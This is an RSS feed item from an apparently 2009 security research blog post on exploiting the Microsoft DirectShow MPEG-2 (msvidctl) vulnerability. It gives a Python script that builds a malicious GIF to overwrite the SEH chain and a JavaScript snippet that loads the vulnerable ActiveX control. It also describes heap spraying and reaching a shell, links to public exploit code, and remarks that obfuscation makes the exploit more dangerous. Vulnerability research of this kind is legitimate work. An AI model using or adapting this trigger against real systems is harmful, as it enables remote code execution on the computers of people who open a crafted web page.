<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Research &#187; MPEG-2</title>
	<atom:link href="http://www.abysssec.com/blog/tag/mpeg-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Tue, 31 Jan 2012 15:52:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Microsft Directshow and MPEG-2 Exploitation</title>
		<link>http://www.abysssec.com/blog/2009/07/10/microsft-directshow-and-mpeg-2-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2009/07/10/microsft-directshow-and-mpeg-2-exploitation/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 14:01:13 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Directshow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[MPEG-2]]></category>
		<category><![CDATA[seh]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=359</guid>
		<description><![CDATA[hello we are really sorry for too late updates. but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and [...]]]></description>
			<content:encoded><![CDATA[<p>hello we are really sorry for too late updates.</p>
<p>but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now exploit is  available in the wild.</p>
<p>anyway here is orginal advisory  (another good vulnerability from alex wheeler):</p>
<p>http://www.microsoft.com/technet/security/advisory/972890.mspx</p>
<p>this vulnerability can be exploit using  varient browser exploitation method like Heap Spray.</p>
<p>and flowing simple script can trigger vulnerabilty :</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span> , <span style="color: #dc143c;">os</span>
&nbsp;
gif =  <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF&quot;</span>    <span style="color: #808080; font-style: italic;"># End of SEH chain</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>    <span style="color: #808080; font-style: italic;"># SE Handler</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
&nbsp;
fp = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;directshow.gif&quot;</span>,<span style="color: #483d8b;">&quot;wb&quot;</span><span style="color: black;">&#41;</span>
fp.<span style="color: black;">write</span><span style="color: black;">&#40;</span>gif<span style="color: black;">&#41;</span>
fp.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myObject<span style="color: #339933;">=</span>document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
DivID.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>myObject<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">width</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">height</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">data</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'directshow.gif;
// Vulnerable ID
myObject.classid='</span>clsid<span style="color: #339933;">:</span>0955AC62<span style="color: #339933;">-</span>BF2E<span style="color: #339933;">-</span>4CBA<span style="color: #339933;">-</span>A2B9<span style="color: #339933;">-</span>A63F772D46CF<span style="color: #3366CC;">';</span></pre></div></div>

<p style="text-align: center;"><img class="aligncenter" title="stack" src="http://i27.tinypic.com/ju7srl.png" alt="" width="538" height="323" /></p>
<p style="text-align: center;">here you can see overwritten SEH</p>
<p style="text-align: center;"><img class="aligncenter" title="Spray" src="http://i30.tinypic.com/b9g36d.png" alt="" width="503" height="233" />and here you can see Spared Heap</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="Shell" src="http://i32.tinypic.com/243546o.png" alt="" width="468" height="125" /></p>
<p style="text-align: center;">finally as you can see here we got a shell</p>
<p style="text-align: center;">
<p style="text-align: left;">using methods like java-script obfuscation and shirking variables can make this exploit more dangerous . and you can find this exploit at :</p>
<p style="text-align: left;">http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/msvidctl_mpeg2.rb</p>
<p style="text-align: left;">and:</p>
<p style="text-align: left;">http://milw0rm.com/exploits/9108</p>
<p style="text-align: left;">Happy Hunting.</p>
<p style="text-align: left;">PS : i will try to have a technical post soon as soon possible</p>
<p style="text-align: left;">Cheers .</p>
<p style="text-align: left;">shahin</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/07/10/microsft-directshow-and-mpeg-2-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

